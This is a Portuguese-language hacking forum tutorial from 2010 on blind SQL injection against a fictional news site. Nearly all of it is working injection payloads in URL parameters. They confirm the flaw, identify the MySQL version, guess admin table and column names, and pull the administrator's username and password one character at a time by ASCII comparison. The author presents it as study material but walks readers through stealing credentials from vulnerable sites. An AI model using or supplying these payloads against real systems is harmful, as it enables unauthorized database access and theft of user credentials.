Blind SQL Injection - Avançado

Iniciado por rahackzin, 25 de Fevereiro , 2010, 02:37:48 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

rahackzin

::: INTRODUÇÃO :::

Na matéria passada mostrei a vocês como realizar o SQL Injection Clássico e o Union. Agora irei introduzi-los o Blind SQL Injection, técnica que poucos dominam. Uma coisa vocês devem ficar sabendo: é mais complicado que o normal, porém não é nenhum bixo de sete cabeças :)
A técnica Blind SQL é utilizada quando o servidor não retorna nenhum erro ao atacante, porém ele realmente sabe que está vulnerável. Isto dificulta o atacante de explorar a vulnerabilidade, porém quem sabe bem ela, não terá dificuldades. Nesta matéria iremos realizar o básico do Blind SQL Injection, ou traduzindo para o portugues, Injeção SQL Cega rsrsrs
Para o Blind SQL Injection, é necessária a regra dos 2 P's: paciência e persistência.

Agora vamos para a prática!

::: BLIND SQL INJECTION :::

Já que alguns sites quando tentamos realizar um SQLi com Union ou um "clássico", mesmo quando sabemos que estão vulneráveis, não retornam nenhum erro, dificultando a exploração da vulnerabilidade.
Neste tutorial irei usar um site fictício como exemplo hehe :)

Vamos supor que temos o seguinte site, aberto em uma notícia:

www.site.com.br/noticias.php?ID=10

Após scanearmos ele descobrimos que existe uma falha, e está vulnerável a SQL. Até então tudo bem, porém quando tentamos utilizar o comando Union, não é retornado nenhum erro. Sabendo isso iremos tentar utilizar a técnica do Blind SQL Injection. Para isto iremos verificar se ele está vulnerável mesmo:

www.site.com.br/noticias.php?ID=10 And 1=1
(A página carregará normal em todos os casos)

Agora veremos realmente se está vulneravel:

www.site.com.br/noticias.php?ID=10 And 1=2
(Se aparecerem numeros avulços, datas, etc. Ou se tiverem faltando figuras. O site é vulnerável.)

Agora precisaremos descobrir a versão do servidor MySQL.
Para isto utilizaremos SUBSTRINGS.

www.site.com.br/noticias.php?ID=10 And Substring(@@Version,1,1)=5
(Se a versão do MySQL for 5, então o site não retornará erro. A página será carregada normal.)

Agora, se estiver faltando algo, imagens, textos, ou aparecer numeros e datas, a versão do MySQL provavelmente será a 4. Para comprovar isto:

www.site.com.br/noticias.php?ID=10 And Substring(@@Version,1,1)=4
(Se a versão do MySQL for 4, então o site não retornará erro. A página será carregada normal.)

Como já temos a versão do MySQL podemos proceder.
Agora iremos verificar se o comando SUBSELECT funciona. Quando o SELECT não funciona utilizamos ele.

Para verificarmos iremos fazer isto:

www.site.com.br/noticias.php?ID=10 And (Select 1)=1
(Caso a página seja carregada normal, então o SUBSELECT funciona.)

Nesta parte iremos descobrir os nomes das tabelas e das colunas. Iremos usar uma técnica muito utilizada: CHUTE rsrs
Teremos como base os nomes mais comuns, como: admin, users, adm, usuarios, usuario ...

Vamos descobrir a tabela:

www.site.com.br/noticias.php?ID=10 And (Select 1 From admin Limit 0,1)=1
(Se a página carregar normal, sem nada faltando, ou numeros na tela, acertamos a tabela! Caso contrário você deve continuar testando até encontrar a certa)

Para descobrirmos o nome das colunas agora:

www.site.com.br/noticias.php?ID=10 And (Select Substring(Concat(1,Senha),1,1) From Admin Limit 0,1)=1
(Então, se a página carregar normal, é porque a coluna Senha existe na tabela Admin!)

Então vamos verificar se a coluna Usuario existe:

www.site.com.br/noticias.php?ID=10 And (Select Substring(Concat(1,Usuario),1,1) From Admin Limit 0,1)=1
(Então, se a página carregar normal, é porque a coluna Usuario existe na tabela Admin!)

Vamos supor que deu certo as colunas Usuario e Senha na tabela Admin. Então precisamos descobrir estes dados.
Esta parte é mais complicada, e demorada. Teremos que descobrir letra por letra dos campos, em ASCII. Por isto recomendo este site, que possui o alfabeto inteiro em ASCII:

http://easycalculation.com/ascii-hex.php

Para descobrirmos os dados, faremos assim:

www.site.com.br/noticias.php?ID=10 And ASCII(Substring((SELECT Concat(Usuario,0x3a,Senha) From Admin Limit 0,1),1,1))>65

No código acima nós iremos descobrir a primeira letra em ASCII da coluna Usuario da tabela Admin. Reparem que está ">65". O "65" é o equivalente ao "A" em ASCII. Então deveremos ir incrementando ele até o servidor retornar o erro. O número antes do erro é o nosso caractere.
Assim se desse erro seria algo parecido "maior que 65"

Para quem não entendeu a explicação vai um exemplo...

Ex:

>95 - Erro
>96 - Erro
>97 - Página carregada normal.

Assim nosso caractere em ASCII é o 97, equivalente ao "a".

Vamos então descobrir o segundo caractere:

www.site.com.br/noticias.php?ID=10 And ASCII(Substring((SELECT Concat(Usuario,0x3a,Senha) From Admin Limit 0,1),2,1))>65

Fomos incrementando até o 112, que significa "p".
Então temos "ap".
Para descobrir também quantos caracteres possuem basta ir incrementando o "2,1", "3,1" até a página não ser carregada com sucesso!

Agora você só precisa incrementar mais! Vou parar por aqui hehe!

::: CONCLUSÃO :::

A técnica Blind SQL Injection é mais complicada do que a do SQL Injection Clássico, como puderam perceber na matéria acima. Fiz ela com o intuito de passar a vocês o conhecimento da fantástica técnica que é o SQL Injection :) Quando bem explorada pode ser fatal.
Blind SQL Injection exige muito estudo, e persistência, porque você obrigatóriamente precisa fazer o servidor revelar a você letra por letra do usuario, senha etc. Mesmo podendo fazer tudo manualmente, existem diversos programas que facilitam muito a vida de todos que utilizam a técnica do SQL Injection!
Espero que todos tenham gostado do tutorial, e que ele sirva como fonte de estudo para muitos!

Autor: Rahackzin